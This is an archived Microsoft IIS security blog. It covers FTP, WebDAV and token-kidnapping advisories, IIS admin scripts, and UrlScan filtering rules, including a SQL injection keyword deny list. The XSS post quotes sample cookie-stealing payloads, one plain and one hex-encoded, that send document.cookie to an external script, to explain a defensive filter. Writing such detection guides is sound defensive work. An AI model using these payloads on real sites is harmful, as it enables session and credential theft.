Nazim's IIS Security Blog : IIS6

FTP recursive list after applying MS09-053

naziml — Thu, 15 Oct 2009 21:14:00 GMT

We recently released fixes for the publicly disclosed FTP vulnerabilities. One of the after-effects of applying this update will be that recursive list commands to IIS FTP 5.x, 6.0 will return the non-recursive listing. To make it clear, this feature does not exist on IIS FTP 7.x either, and that is why I did not include those versions in the previous statement. For those that will miss this feature, there is a workaround on Robert McMurray’s blog.

Fixes released for FTP vulnerabilities

naziml — Thu, 15 Oct 2009 21:06:00 GMT

Microsoft has released security bulletin MS09-053 that will address the FTP vulnerabilities that were publicly disclosed a couple of weeks ago. The information in this bulletin supercedes the previous advisory.

[Updated] IIS FTP server vulnerabilities for FTP 5.x and FTP 6

naziml — Fri, 04 Sep 2009 12:00:00 GMT

There have been two recently publicly disclosed vulnerabilities for FTP 5, FTP 5.1 and FTP 6. Wade has gone through great detail to explain what platforms are affected by each vulnerability in his blog post. Microsoft has released and refreshed an advisory that covers the details, mitigations and workarounds for the vulnerability. The Microsoft Security Research and Defense team has a blog about the exploit details for the original vulnerability. Here is the summary including both vulnerabilities:

Affected platforms: Windows Server 2000, Windows XP and Windows Server 2003, Windows Vista (FTP 6 only), Windows Server 2008 (FTP 6 only).
Non-affected platforms: Windows 7, Windows Server 2008 R2.
Windows Server 2008 and Windows Vista ships with FTP 6 by default and is affected by only one of the two disclosed vulnerabilites.
The vulnerabilities does not affect FTP 7 or FTP 7.5 that ships out-of-band fro Windows Vista or Windows Server 2008.
Windows 7 and Windows Server 2008 R2 are entirely unaffected because they contain FTP 7.5.
The newer vulnerability is a Denial of Service issue across all affected platforms and is caused by stack exhaustion.
The first vulnerability is a Remote Code Execution Vulnerability for Windows 2000 and a Denial of Service for all other platforms and is caused by a stack buffer overflow.
Both exploits were not responsibly disclosed to Microsoft. Microsoft has released an advisory to assist customers while an update is being engineered.
The stack exhaustion PoC exploit uses anonymous user with read permissions to trigger the overflow. The vulnerability is not constrained to anonymous users, and authenticated users can exploit it as well, though this will be auditable.
The stack buffer overflow PoC exploit uses anonymous user with write permissions to trigger the overflow. The vulnerability is not constrained to anonymous users, and authenticated users can exploit it as well, though this will be auditable.
Windows XP, Windows Server 2003, Windows Vista and Windows Server 2008 are protected from code execution by /GS and no public PoC exploit has yet bypassed this.
Windows Server 2000 is not protected by /GS and the exploit hence results in code execution on that platform under LocalSystem context.
The advisory has workarounds to protect customers with varied impact on FTP functionality.
The Microsoft Security Research & Defense blog has information about detecting attacks for the first vulnerability that can be used for intrusion prevention. I will update this post with information on the second vulnerability when available.

Updated advisory for FTP Vulnerability on IIS

naziml — Fri, 04 Sep 2009 04:04:00 GMT

The public exposure of another vulnerability in the FTP stack has caused a revision in the Microsoft advisory. Please refer the advisory @ http://www.microsoft.com/technet/security/advisory/975191.mspx to get updated information on exposure and impact of vulnerabilities. I have previously discussed this information in an earlier blog post and have updated this post as well. Microsoft Security Response Center (MSRC) has a revised blog as well.

The one thing I want to clarify before hand is that in the Mitigations section it mentions that FTP is not installed by default on Windows 2000, Windows XP and Windows Server 2003. Please add Windows Vista and above to this list as well. This is probably obvious to most, but I wanted to call it out anyway.

Also there has been a lot of confusion about FTP versions and what is affected. Refer to Wade's blog post on the topic to help clarify things.

Update for WebDAV vulnerability on IIS 5.x and IIS 6

naziml — Tue, 09 Jun 2009 18:34:00 GMT

We now have a security update available to address the WebDAV extension vulnerability reported earlier. All customers affected should apply the update even if they have mitigated the issue through a workaround.

The background here is that we had an encoding vulnerability in the WebDAV extension for IIS 5.x and IIS 6 that was publicly disclosed by a party and responsibly disclosed by someone else. Immediately following the public disclosure, we released an advisory detailing the issue and workarounds. We then accelerated our release of the fix that is now out this patch Tuesday.

WebDAV Authentication Bypass on IIS 5.0, 5.1 and 6.0

naziml — Wed, 20 May 2009 16:52:00 GMT

Microsoft has released advisory 971492 about an Elevation of Privilege issue with the WebDAV extension for IIS 5.0, 5.1 and 6.0. These versions of IIS reside on Windows Server 2000, Windows XP and Windows Server 2003 respectively. The advisory contains relevant information for who is affected and what the mitigations and workarounds are. The Microsoft Security Response Center (MSRC) has also release a blog outlining our response and the Security Research & Defense team has a blog outlining technical details.

Here are the key takeaways:

This only affects WebDAV for IIS 5.0, 5.1 and 6.0. It does not affect WebDAV 7.0 for IIS 7.0.
This issue does not affect non-DAV requests to IIS 5.0, 5.1 and 6.0.
WebDAV is not enabled by default on IIS 6.0 and IIS is not installed by default on for WinXP or Win2k3.
File access checks are still enforced on vulnerable systems.
Anonymous user account is explicitly denied write access to default web root folder in default configuration.
Sharepoint, OWA and Exchange have a different implementation of DAV that is unaffected.

The advisory has workarounds on how to protect vulnerable systems. To find out if a system is vulnerable, send the HTTP request below to the root of your site. You can use a tool like WFetch to send out requests to your sites (even SSL protected ones).

REQUEST: **************\n
OPTIONS / HTTP/1.1\r\n
Host: 127.0.0.1\r\n
Accept: */*\r\n
\r\n
RESPONSE: **************\n
HTTP/1.1 200 OK\r\n
Server: Microsoft-IIS/5.0\r\n
Date: Tue, 19 May 2009 20:13:53 GMT\r\n
MS-Author-Via: MS-FP/4.0,DAV\r\n
Content-Length: 0\r\n
Accept-Ranges: none\r\n
DASL: <DAV:sql>\r\n
DAV: 1, 2\r\n
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH\r\n
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK\r\n
Cache-Control: private\r\n
\r\n

The interesting portions of the response are highlighted in red. To check if WebDAV is enabled and in effect, check the following items in the response.

Need to receive a 2xx response to OPTIONS request made to root of site to analyze the result. If this is not the case, the test is inconclusive.
Response contains the DAV header with value 1,2.
Response contains MS-Author-Via header which contains DAV value.
Response DOES NOT contain X-MSDAVEXT header. Existence of this means its Sharepoint’s DAV, which is a different implementation that is not susceptible to this vulnerability.

Token Kidnapping fixed

naziml — Fri, 17 Apr 2009 20:17:00 GMT

I had gone into a little detail about explaining token kidnapping in an earlier post. Despite all the difficulties involved in fixing this, MS has released a comprehensive patch that addresses all the issues in MS09-012. This was a monumental effort, so kudos to all the teams involved in coordinating and getting this out the door.

Here is some further reading from MSRC and SRD on the topic.

Script to lock down IIS paths

naziml — Wed, 11 Mar 2009 18:48:00 GMT

In IIS 7 we have request filtering available to help with locking down files and directories that you don't want to serve out. This is useful for resources (like configuration) that you want your IIS worker process to have access to, but not serve it out to clients. Things like web.config files fall in to this bucket, and default IIS 7 request filtering configuration denies serving out this extension. However on IIS 6, you don't have request filtering functionality built into the IIS platform. You would need to install stand-alone tools like UrlScan.

But there is a way on IIS 6 to prevent serving out files that exists on the platform; it's the AccessFlags metabase property. This property can be applied to any file or directory, and setting it to 0 will block anything from the directory or file from being served out. To make the task of setting this property for any file or directory under your sites easy, I wrote a quick script using ADSI to assist with the task. I have done very minimal testing on this, so please let me know if there are any issues.

// File: IISLockPath.js
// Copyright Microsoft Corp. 2009
// Author: Nazim Lala
//
// This script will set the AccessFlags property to 0 for a file/folder in
// IIS so that the file is not served out.
// Access to the file/folder will result in 403s.
//
// Usage:
//      IISLockPath.js <app_mb_path> <dir/filepath>
// where -
//      <vdir_path>: Metabase path to vdir under which application lives.
//                   Can be ROOT as well.
//      <dir/filepath>: relative path to file or folder under vdir.
// eg -
//      For Application = W3SVC/1/MyApp, which has physical path c:/MyApp
//      To lock c:/MyApp/Config/Hidden folder the command would be:
//      IISLockPath.js W3SVC/1/MyApp Config/Hidden
//
//////////////////////////////////////////////////////////////////////////////////////////////

var VdirMBPath = null;
var RelResourcePath = null;
var VdirObj = null;
var WebObj = null;
var IsFolder = false;
var IsFile = false;
var SplitPath;

if ( WScript.Arguments.Count() != 2 )
{
    WScript.Echo("Usage: IISLockPath.js <app_mb_path> <dir/filepath>.\r\n" +
        "<vdir_path>: Metabase path to vdir under which application lives." +
                     "Can be ROOT as well.\r\n" +
        "<dir/filepath>: relative path to file or folder under vdir." +
        "Eg: App = W3SVC/1/MyApp, which has physical path c:/MyApp." +
        "To lock c:/MyApp/Config/Hidden folder the command would be: "+
        "IISLockPath.js W3SVC/1/MyApp Config/Hidden");
    WScript.Quit();
}
else
{
    // Verify format for MB vdir path
    // Must have atleast w3svc/# - 7 characters
    if ( WScript.Arguments.Item(0).length < 7 ||
         WScript.Arguments.Item(0).toUpperCase().slice(0,6) != "W3SVC/" )
    {
        WScript.Echo("Error: " + WScript.Arguments.Item(0) +
                     " is not a valid IIS metabase path");
        WScript.Quit();
    }

    // Replace all '\' with '/' and remove beginning and trailing slashes
    var rgx = new RegExp("\\\\", "g");
    var startindex, endindex;
    var s = WScript.Arguments.Item(0).replace(rgx, "/");
    if ( s.substring(0, 1) == "/" ) startindex = 1;
    else startindex = 0
    if ( s.substring(s.length-1, s.length) == "/" ) endindex = s.length-1;
    else endindex = s.length

    VdirMBPath = s.substring(startindex, endindex);

    s = WScript.Arguments.Item(1).replace(rgx, "/");
    if ( s.substring(0, 1) == "/" ) startindex = 1;
    else startindex = 0
    if ( s.substring(s.length-1, s.length) == "/" ) endindex = s.length-1;
    else endindex = s.length

    RelResourcePath = s.substring(startindex, endindex);

    // Verify existence of vdir path
    // Technically we can get this working even if this is a web directory, but that has more steps to it
    // So we will stick to VDirs for now.
    try
    {
        VdirObj = GetObject("IIS://localhost/" + VdirMBPath);
    }
    catch (e)
    {
        VdirObj = null;
    }

    if ( VdirObj == null )
    {
        WScript.Echo("Error: Could not locate virtual directory " +
                     VdirMBPath);
        WScript.Quit();
    }

    // Check if the Metabase has a web directory/file for this.
    try
    {
        var Path = "IIS://localhost/" + VdirMBPath + "/" + RelResourcePath;
        WebObj = GetObject(Path);

        // We should be able to directly set the AccessFlag then.
        WebObj.Put( "AccessFlags", 0 );
        WebObj.SetInfo();

        WScript.Echo("Done");
        WScript.Quit();

    }
    catch (e)
    {
        WebObj = null;
    }

    // We will need to create the web directory/file under the vdir.

    // Validate that the relative path exists under the vdir and if it
    // is a file or folder
    try
    {
        var FSObject = new ActiveXObject("Scripting.FileSystemObject");
        var PhysicalPath = VdirObj.Path + "\\" + RelResourcePath;

        if ( FSObject.FileExists(PhysicalPath) )
        {
            IsFile = true;
        }
        else if ( FSObject.FolderExists(PhysicalPath) )
        {
            IsFolder = true;
        }

        if ( !( IsFile || IsFolder ) )
        {
            WScript.Echo("Error: Could not locate " + RelResourcePath +
                         " under physical path of " + VdirMBPath);
            WScript.Quit();
        }
    }
    catch (e)
    {
        WScript.Echo("Error: Could not create file system object.");
        WScript.Quit();
    }

    // Recursively create web folders for the relative path, making sure
    // the last one is either folder or file.

    SplitPath = RelResourcePath.split("/");
    var CurrentPath = "IIS://localhost/" + VdirMBPath;
    for (i=0; i<SplitPath.length-1; i++)
    {
        WebObj = GetObject(CurrentPath);
        WebObj.Create("IISWebDirectory", SplitPath[i]);
        WebObj.SetInfo();
        CurrentPath += "/" + SplitPath[i];
    }

    if ( IsFolder )
    {
        WebObj = GetObject(CurrentPath);
        WebObj.Create("IISWebDirectory", SplitPath[SplitPath.length-1]);
        WebObj.SetInfo();
    }
    else
    {
        WebObj = GetObject(CurrentPath);
        WebObj.Create("IISWebFile", SplitPath[SplitPath.length-1]);
        WebObj.SetInfo();
    }

    CurrentPath += "/" + SplitPath[SplitPath.length-1];
    WebObj = GetObject(CurrentPath);
    WebObj.Put( "AccessFlags", 0 );
    WebObj.SetInfo();

    WScript.Echo("Done");
    WScript.Quit();
}

Script to install UrlScan v3.0 as a site filter.

naziml — Tue, 14 Oct 2008 07:02:00 GMT

Although using WIX to create an MSI to do this task is a cleaner approach, it is too heavy duty for me. I do this often enough to warrant creating a script for it, so I though I would share it out.

To use it you would run: InstallUrlScanAtSite.js -siteid:1 [-dest:c:\foo]. You have to specify the site ID of the site you want it installed at. The 'dest' parameter will be the location where your urlscan.dll and urlscan.ini file will be copied to for use as the filter path. If you don't specify this, it will copy them to your site's ROOT vdir path.

// InstallUrlScatAtSite.js
//
// Install UrlScan 3.0 at a particular site.
//
// Author: Nazim Lala
//
// What it does:
//   1. By default copy urlscan.dll and urlscan.ini from 
//      system32\inetsrv\urlscan dir to root of site you want to install to.
//      Else use the value of Dest as the destination.
//   2. Install this copy of the dll as a site filter of that particular site.
//
// Assumptions:
//   1. You already have UrlScan 3.0 installed globally on the machine.
//   2. The script has access to write to your site's root directory or 
//      Dest
//

var szUsage;
var szSiteID;
var szDest;


var CRLF = "\r\n";

szUsage = "" +
    "Install UrlScan 3.0 as a site filter" + CRLF +
    CRLF +
    WScript.ScriptName + " [[-Parameter:Value]...]" + CRLF +
    CRLF +
    "Where:" + CRLF +
    "    Parameter  Value" + CRLF +
    "    ---------  -------------------------------------------" + CRLF +
    "    SiteID     Site ID # (Required)" + CRLF +
    "    Dest       Destination to copy urlscan.dll/.ini to" + 
    "(Default is Site root)" + CRLF +
    "";
    
if ( ParseCommandline() && ValidateArgs() )
{
    if ( !SetandCheckDestination() ) 
    {
        WScript.Quit( 1 );
    }
    if ( !CopyDllAndConfig() ) 
    {
        WScript.Quit( 2 );
    }
    if ( !AddFilter() )
    {
        WScript.Quit( 3 );
    }
    
}

function ParseCommandline()
{
    var exp = new RegExp( "-([^:]+):(.+)" );
    var args;

    for ( var i = 0; i < WScript.Arguments.length; i++ )
    {
        args = exp.exec( WScript.Arguments( i ) );
        if ( args == null )
        {
            WScript.Echo( "Invalid parameter " + WScript.Arguments( i ) )
            return false;
        }
        else
        {
            switch ( args[1].toLowerCase() )
            {
                case "siteid":
                    szSiteID = args[2];
                    break;
                case "dest":
                    szDest = TrimSlashes( args[2] );
                    break;
                default:
                    WScript.Echo( "Unknown parameter " + args[1] );
                    return false;
            }
        }
    }

    return true;
}

function ValidateArgs()
{
    if ( szSiteID == null )
    {
        WScript.Echo( "Missing Site ID." + szUsage);
        return false;
    }
    else return true;
}

function SetandCheckDestination()
{
    if ( szDest == null )
    {
        // Set destination to site root
        try
        {
            var objSite = GetObject( "IIS://LOCALHOST/W3SVC/" + 
                szSiteID +"/ROOT" );
            szDest = objSite.Path;
        }
        catch ( e )
        {
            WScript.Echo( "Failed to acquire site's ROOT path. " +  
                FormatErrorString( e ) );
            return false;
        }
    }
    else
    {
        // Check if destination path exists. If not try to create it.
        try
        {
            var objFSO = new ActiveXObject( "Scripting.FileSystemObject" );
            if ( !objFSO.FolderExists( szDest ) )
            {
                objFSO.CreateFolder( szDest );
            }
        }
        catch ( e )
        {
            WScript.Echo( "Failed to create folder. " + 
                FormatErrorString( e ) );
            return false;
        }
    }

    return true;
}    

function CopyDllAndConfig()
{
    try
    {
        var objFSO = new ActiveXObject( "Scripting.FileSystemObject" );
        var WshShell = WScript.CreateObject( "WScript.Shell" );
        var objEnv = WshShell.Environment( "Process" );
        var szUrlScanDir = objEnv( "WINDIR" ) + 
            "\\system32\\inetsrv\\urlscan";
        objFSO.CopyFile( szUrlScanDir+"\\urlscan.dll", 
            szDest+"\\urlscan.dll" );
        objFSO.CopyFile( szUrlScanDir+"\\urlscan.ini", 
            szDest+"\\urlscan.ini" );
    }
    catch ( e )
    {
        WScript.Echo( "Failed to copy files." +
            FormatErrorString( e ) );
        return false;
    }
    return true;
}

function AddFilter()
{
    var objSiteFilters;
    var objUrlScanFilter;
    var szLoadOrder;
    
    try
    {
        objSiteFilters = GetObject("IIS://LOCALHOST/W3SVC/" + 
            szSiteID + "/FILTERS");
    }
    catch ( e )
    {
        //
        // Perhaps we don't have any filters.
        // Try to create it.
        //
        try
        {
            objSiteFilters = GetObject( "IIS://LOCALHOST/W3SVC/" + 
                                    szSiteID ).Create( "IIsFilters",
                                                        "Filters" );
            objSiteFilters.SetInfo();
        }
        catch ( e2 )
        {
            //
            // Could not create the filters node. Quit.
            //
            WScript.Echo( "Failed to create filters node." + 
                FormatErrorString( e ) );
            return false;
        }
    }
    
    try
    {
        //
        // Create the actual Filters node and configure path.
        //
        objUrlScanFilter = objSiteFilters.Create( "IIsFilter", 
            "UrlScan 3.0" );
        objUrlScanFilter.FilterPath = szDest;
        objUrlScanFilter.SetInfo();
    }
    catch ( e )
    {
        if ( e.number == -2147024713 )
        {
            WScript.Echo( "UrlScan 3.0 Filter already exists." );
        }
        else
        {
            WScript.Echo( FormatErrorString( e ) );
        }

        return false;
    }
    
    try
    {
        //
        // Update FilterLoadOrder and append to beginning of list
        //
        szLoadOrder = objSiteFilters.FilterLoadOrder;
        
        if ( szLoadOrder == null )
        {
            objSiteFilters.FilterLoadOrder = "UrlScan 3.0";
        }
        else
        {
            objSiteFilters.FilterLoadOrder = "UrlScan 3.0,"+szLoadOrder;
        }
        objSiteFilters.SetInfo();
        
    }
    catch ( e )
    {
        WScript.Echo( "Failed to update filter load order: " + 
            FormatErrorString( e ) );
        return false;
    }
    
    return true;
}

function TrimSlashes( strInput )
{
    return strInput.replace( new RegExp( "^/+|/+$", "g" ), "" );
}

function Int32ToHRESULT( num ) 
{
    if ( num < 0 )
    {
        return "0x" + new Number( 0x100000000 + num ).toString( 16 );
    }
    else
    {
        return "0x" + num.toString( 16 );
    }
}


function FormatErrorString( objError )
{
    return "(" + Int32ToHRESULT( objError.number) + ")" + ": " +
           objError.description;
}

I haven't thoroughly tested it, so if you find any bugs, let me know. You can also easily modify this script to add it to ALL sites on the server if need be.

Token Kidnapping in Windows

naziml — Mon, 13 Oct 2008 23:02:00 GMT

Microsoft has just released MS09-012 to address this issue in it’s entirety. Get further details here.

You have probably heard about the Token Kidnapping vulnerability in Windows and read Microsoft's security advisory on it and are wondering why there isn’t an update for this yet. Although this is not an IIS issue but a Windows issue, the fact that IIS can be used as a vector for this vulnerability increases my concern for seeing an update for this soon. But obviously that does not assuage concerns of our customers and so in the interest of transparency I thought it would be prudent to explain the issue, what the update would do and why it is taking time. Just to make it absolutely clear … Microsoft is going to release an update to address this issue, and the workarounds mentioned in the advisory are still applicable and help mitigate the issue. In the case of IIS, some of these “workarounds” are actually recommended best practices.

The issue

Before there were service accounts, there was LocalSystem and it was too highly privileged to host un-trusted code, no matter how much we try to sandbox it. So we implemented service accounts like NetworkService that did not have all the privileges possessed by the LocalSystem account and a lot of products and features embraced the idea of running under this identity for several reasons. For the sake of simplicity let’s split the users of this feature into 2 buckets, both being valid uses.

1. Isolating un-trusted code.
Some products like Internet Information Services (IIS) need the ability to host un-trusted user code running inside their worker processes. In the case of a buffer overrun or any other error, we would like to ensure that the user code does not have high enough privileges to affect the entire system and are sufficiently sand-boxed by the worker process identity.

2. Following least privilege practices.
Other products followed the practices of least privilege to harden the security of their features.

These service accounts need a client impersonation privilege (SeImpersonatePrivilege), so that the process or service can run as a specific authenticated user if need be. The act of “impersonation” leaves a “token” that identifies this authenticated user in the process or service. The two valid uses above have different characteristics though. The first would not expect privileged users like Administrators to be impersonated while the second might be prone to it. This leaves us with a scenario where 2 different processes / services running as the same service account identity would have very different sort of tokens in them. In some cases these tokens may be long-lived or it would be easy to perform an action that would result in a privileged token being acquired by a process or service. Also, these different processes and services are not wholly isolated from each other in every case. The combination of these two factors gives rise to an issue where an un-trusted code being hosted in a process running with a service account identity (say in group 1 above) would now be able to access a privileged token from a process running with the same service account identity (likely in group 2 above) leading to an elevation of privilege.

You can read more about this in the finder’s document on http://www.argeniss.com/research/TokenKidnapping.pdf

The change

There are different levels at which changes would be needed to address this issue.

1. Service isolation.
The first issue to address is to make sure that two services running with the same identity not be able to access each other’s tokens freely. This concern has been mostly addressed with service hardening done in Windows Vista and above. There are some minor changes that would need to be done to strengthen service hardening to close some gaps identified during our investigation of this issue.

2. Processes running as service accounts.
There are cases where the service hardening work done above does not apply. In these cases changes need to be made to prevent processes from holding on to privileged tokens or from being induced to acquire one by unprivileged means.

The difficulty

Both the changes above come with their own set of challenges.

1. Service isolation.

The changes required for to address concerns in this space need to occur at a very low level in the OS. As a result, it has a high impact on the system and requires rigorous testing on the part of multiple teams within Microsoft.

2. Processes running as service accounts.

The changes required here are even more complex, mostly because of design decisions and dependencies by various other components on the component in question. Software engineers read “design” and “dependencies” in the statement above and wince … and rightfully so. Even if the issue does not pervade a lot of components (as is the case here) and affects just one component that a lot of other components depend on, or if the issue is ingrained in the design of the component, the changes required are difficult to engineer. Not impossible, just difficult. And the impact of any of these changes would be pervasive and would require coordination between several different teams at Microsoft to address. These teams are going through great lengths at identifying these components, making sure the fixes are adequate and not just a band-aid and testing every component to make sure that no undesired behavior is introduced in the process.

Conclusion

Microsoft is committed to providing a comprehensive and high quality update with minimal user impact for this issue. The nature of this issue requires thoroughness on our part for issuing an update. The workarounds provided in the advisory are still applicable in mitigating the issue.

UrlScan v3.0 RTW Released

naziml — Tue, 19 Aug 2008 20:58:00 GMT

About 2 months ago we released the beta for UrlScan v3.0 to address customer concerns with automated SQL injection attacks and we have been busy since refining it with the help of our customers, community and MVPs. You can download the bits at the links below.

UrlScan v3.0 RTW for x86

UrlScan v3.0 RTW for x64

You can also check out the updated walkthroughs for UrlScan v3.0 that covers the new features since Beta.

Using UrlScan

UrlScan Setup

Common UrlScan Scenarios

UrlScan FAQs

Here is a summary of the feature additions to UrlScan v3.0 RTW

1) W3C formatted logging.

UrlScan v3.0 RTW has W3C formatted logs so that analyzing log files is more accessible by writing queries against them using Log Parser. The following are the fields in the new log format with a brief description.

Date: Date of incoming request
Time: UTC time for incoming request
c-ip: Client IP address
s-siteid: SiteID for the site that processed the request
cs-method: Method (verb) of incoming request
cs-uri: URI of incoming request, including query string
x-action: Action performed by UrlScan. Either rejected or logged
x-reason: Reason for UrlScan check being triggered.
x-context: Portion of request this check is applicable to, e.g. URL, query string etc
cs-data: Data in the request that triggered the UrlScan check
x-control: UrlScan configuration data that caused the UrlScan check to trigger

2) Allow rules for URLs and query strings

UrlScan v3.0 RTW gives you the ability to specify a "safe" list of URLs and query strings that will by pass all UrlScan checks. This gives administrators the ability to configure UrlScan to allow certain URLs that would otherwise trigger a UrlScan check.

Here is the link to my blog when UrlScan v3.0 Beta was release

Using the new rules configuration in UrlScan v3.0 Beta (Part 2)

naziml — Mon, 30 Jun 2008 20:41:00 GMT

Dissecting the SQL injection sample in the walkthrough

I will spend some time dissecting the SQL injection rule posted in the walkthrough for UrlScan. Before I do so, I want to re-iterate the fact that SQL injection is a web application issue, and hence the right place to fix it is in the web application. Sometimes when you are the victim of a SQL storm, it is less than ideal to go figure out all the places your web application might be susceptible. That's where UrlScan comes in and offers a stop gap solution till you can fix the apps, without taking any downtime hit on your site. The one issue here is that of false positives ... and these are hard to predict because different web applications have different requirements and semantics. Nonetheless, UrlScan can offer substantial protection in the face of a SQL Storm at the cost of a some false positives that will cause valid requests to be rejected.

[SQL Injection]
AppliesTo=.asp,.aspx
DenyDataSection=SQL Injection Strings
ScanUrl=0
ScanAllRaw=0
ScanQueryString=1
ScanHeaders=

[SQL Injection Strings]
--
%3b ; a semicolon
/*
@ ; also catches @@
char ; also catches nchar and varchar
alter
begin
cast
create
cursor
declare
delete
drop
end
exec ; also catches execute
fetch
insert
kill
open
select
sys ; also catches sysobjects and syscolumns
table
update

So this is the first bit. Notice that the only thing we are scanning here is the query string, not the URL or any headers. This will give us a little more leeway with our strings list. But even so, there are a lot of chances for false positives. For example if were to have "podcast" in my query string, I would trip the filter because of "cast". So the best thing to do is copy this over and do quick testing to make sure your apps still work. The other thing to do is keep an eye on the log files to see what it is catching.

The obvious gap in the rule above is the fact that the only thing I am checking is the query string. What about the rest of the request? The parts of interest for SQL injection really depend on your web application ... but there are definitely some headers that seem important, like the Cookie header (popular candidate for script injection as well).

[SQL Injection Headers]
AppliesTo=.asp,.aspx
DenyDataSection=SQL Injection Headers Strings
ScanUrl=0
ScanAllRaw=0
ScanQueryString=0
ScanHeaders=Cookie:

[SQL Injection Headers Strings]
--
@ ; also catches @@
alter
cast
convert
create
declare
delete
drop
exec ; also catches execute
fetch
insert
kill
select

For folks who have been following this, you will notice that an older version was looking at ScanAllRaw. Even with a trimmed down list, there were a lot of things breaking. Like /* with the Accept-Encoding header and 'cast' in User-Agent strings that had things like 'broadcast'. So I followed my own advice and reduced the scope a little more.

Another part of the request that folks missed was the request entity, but the explanation for that deviated from this topic sufficiently to warrant its own blog here.

UrlScan v3.0 filtering based on Request Entity

naziml — Mon, 30 Jun 2008 20:21:00 GMT

While some folks are rejoicing, others are noticing the lack of scanning for the request entity. Why would we do that? The easy answer is that this is just not possible with an ISAPI filter. In IIS 5 and earlier, there is no API that would allow us to filter request entity, so request entity will never happen there. In IIS 6, the APIs exist to do this via * script maps, but the performance would be pretty bad. Also, there is no mechanism to treat the request as a stream, so there would be potential memory utilization problems. So we left it at that and said "can't do it, sorry".

But then you ask, "what about the request filtering module in IIS7"? Theoretically the IIS7 module APIs certainly let you analyze the request entity, so it is certainly possible. One of our current tasks is to bring the request filtering module up to par (feature-wise) with UrlScan v3.0 and then we can consider answering this complex problem. Yes, don't let this fool you ... analyzing request entity is a complex problem that has consequences for both performance and security. There is a multitude of things you need to account for here: compression/encryption, custom serialization, signature split between multiple POSTs, memory pressure due to entity buffering for POST data, etc. By no means are we claiming that this is an impossible task ... just that the cost to benefit ratio for this is low at this point. But we will try to look into this, time permitting.

Please feel free to send your thoughts/comments ... happy filtering !!

Using the new rules configuration in UrlScan v3.0 Beta (Part 1)

naziml — Tue, 24 Jun 2008 19:51:00 GMT

If you haven't noticed already, UrlScan v3.0 Beta is out and it is the answer to all your prayers. Well maybe not all, but it still is nifty. UrlScan 2.5 is widely used and is quite popular. There were a few minor issues with it that were all fixed for UrlScan 3.0. But besides those UrlScan now has the ability to filter based on query strings as well and a new rules syntax lets you specify powerful rules and lets you stay organized while you are at it.

I thought I would take some time to write some sample rules for common scenarios that people would like to filter, but instead decided to dissect our defaults and the little sample for SQL injection that we put up on the walkthrough for the Beta.

Cross site scripting

There has been a lot of discussion about XSS and it falls into the same bucket as SQL injection in the fact that this is not a server/product vulnerability. It is an application issue just like SQL injection. CGISecurity has a nice little FAQ on XSS here and iDefense has a decent whitepaper here. There are quite a few advanced papers on XSS evasion and static XSS detection in applications, but like all things in life, simple is usually good.

Most XSS attacks will pass in script where the application does not expect it. Here are some samples of what a XSS attack might look like from the CGISecurity FAQ linked above.

http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>

Notice the similarity to SQL injection? The variable query string parameter is pre-emptively terminated and a bunch of script goo is added. Folks can get a little more devious and encode the query string like below so it's not easily identified.

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

The pattern that should jump out at you is the <script> tag, but how do I accurately detect it in the cases where I might have it encoded or have to deal with arbitrary whitespaces like < script > ? The new default urlscan.ini contains a rule in it to protect against these sort of patterns and the rule is just simply:

[DenyQueryStringSequences]

Simply put it just disallows angle brackets in the query string and if you think about the myriad web applications out there today, not many have legitimate use of either the '<' or the '>' character on the query string. Along with the above section, the default configuration also has the following set:

[Options]

UnescapeQueryString=1

What this does is that it will check sequences in both the raw and the un-escaped version of the query string. So now even the second example above for XSS would be caught by the default rule.

Read the next post in the series and watch me dissect the sample SQL injection rule in the walkthrough posted.